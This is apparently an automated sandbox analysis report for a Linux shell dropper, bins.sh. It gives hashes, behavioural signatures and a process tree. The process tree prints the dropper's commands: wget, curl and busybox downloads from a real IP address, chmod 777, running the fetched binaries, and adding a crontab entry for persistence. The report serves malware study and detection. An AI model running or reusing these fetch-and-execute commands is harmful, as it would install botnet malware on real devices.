Analysis
-
max time kernel
96s -
max time network
152s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
09-11-2024 20:17
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
14098e895eaadb9f68f8e40895c177ba
-
SHA1
baf00e9b0740c1cc656a593b495ae13a83652365
-
SHA256
0811630a850f847ee28ed9078eca2e17104ec41ee010ab5fe76f8998e47a4f31
-
SHA512
ba10314092b24656d1ec96ee7e33f67c7f23412994699ec0407069d839ef2b6039cb9bb5726acb4cec4ec298174429cb9d8eac9031842dc62964abd0e5d7064f
-
SSDEEP
192:SFme4ZpdqRh1vsk3C+ii+ZkOe6rm2m8sk3C++pdqRhNne6rm2YKxmeh:PMvsk3C+iitOe6rm2m8sk3C+Ve6rm2Z
Malware Config
Signatures
-
Contacts a large (1397) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid process 734 chmod 741 chmod 835 chmod -
Executes dropped EXE 3 IoCs
Processes:
tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtqEhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZwaMUu3wStjbh57023DqN3DVIdOczWDiUhIioc pid process /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq 735 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ 742 EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI 836 waMUu3wStjbh57023DqN3DVIdOczWDiUhI -
Renames itself 1 IoCs
Processes:
EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZpid process 743 EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.vGkPke crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZdescription ioc process File opened for reading /proc/1137/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/760/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/787/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/817/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1076/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/674/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/957/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1018/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1036/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1148/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/784/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/869/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/928/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1181/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/889/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/981/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1023/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/977/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1078/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1096/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1125/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1240/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/774/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/858/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/963/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1236/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/21/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/118/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1120/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/960/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1085/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1221/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/81/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/904/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/954/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/788/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1060/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1228/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/798/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1107/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1169/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1001/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1092/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1244/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/119/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/748/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/766/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/768/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/797/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/799/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/938/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1094/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1216/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1227/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/36/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/37/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/755/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1088/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1133/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1075/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1123/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/22/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1031/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ File opened for reading /proc/1071/cmdline EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
wgetcurlbusyboxtipd5aLyyzlCilPXJXJMqUIWBz7SJGagtqrmpid process 710 wget 727 curl 733 busybox 735 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq 737 rm -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxwgetcurlbusyboxbusyboxdescription ioc process File opened for modification /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq wget File opened for modification /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq curl File opened for modification /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq busybox File opened for modification /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ wget File opened for modification /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ curl File opened for modification /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ busybox File opened for modification /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:703
-
/bin/rm/bin/rm bins.sh2⤵PID:705
-
/usr/bin/wgetwget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:710 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:727 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:733 -
/bin/chmodchmod 777 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq2⤵
- File and Directory Permissions Modification
PID:734 -
/tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq./tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:735 -
/bin/rmrm tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq2⤵
- System Network Configuration Discovery
PID:737 -
/usr/bin/wgetwget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ2⤵
- Writes file to tmp directory
PID:738 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ2⤵
- Writes file to tmp directory
PID:739 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ2⤵
- Writes file to tmp directory
PID:740 -
/bin/chmodchmod 777 EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ2⤵
- File and Directory Permissions Modification
PID:741 -
/tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ./EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:742 -
/bin/shsh -c "crontab -l"3⤵PID:744
-
/usr/bin/crontabcrontab -l4⤵PID:745
-
/bin/shsh -c "crontab -"3⤵PID:746
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:747 -
/bin/rmrm EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ2⤵PID:749
-
/usr/bin/wgetwget http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI2⤵PID:832
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI2⤵PID:833
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI2⤵
- Writes file to tmp directory
PID:834 -
/bin/chmodchmod 777 waMUu3wStjbh57023DqN3DVIdOczWDiUhI2⤵
- File and Directory Permissions Modification
PID:835 -
/tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI./waMUu3wStjbh57023DqN3DVIdOczWDiUhI2⤵
- Executes dropped EXE
PID:836 -
/bin/rmrm waMUu3wStjbh57023DqN3DVIdOczWDiUhI2⤵PID:838
-
/usr/bin/wgetwget http://87.120.84.230/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp42⤵PID:839
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
210B
MD5a195c190ccff4579ee1df41409be0b00
SHA1b635d0989edb502680977184d6a5f361c5e7cb52
SHA256bda3b426026f902ea78f6cdd088fa4099a774a0b43187e80aaa10c90ad70a63f
SHA512ca418f365008505f9285271ccd5db083161e7f3a7d6250b285089465c616e715722bae3e7730663f197df9da37987b227695710d0b78117d1e289879f47e4355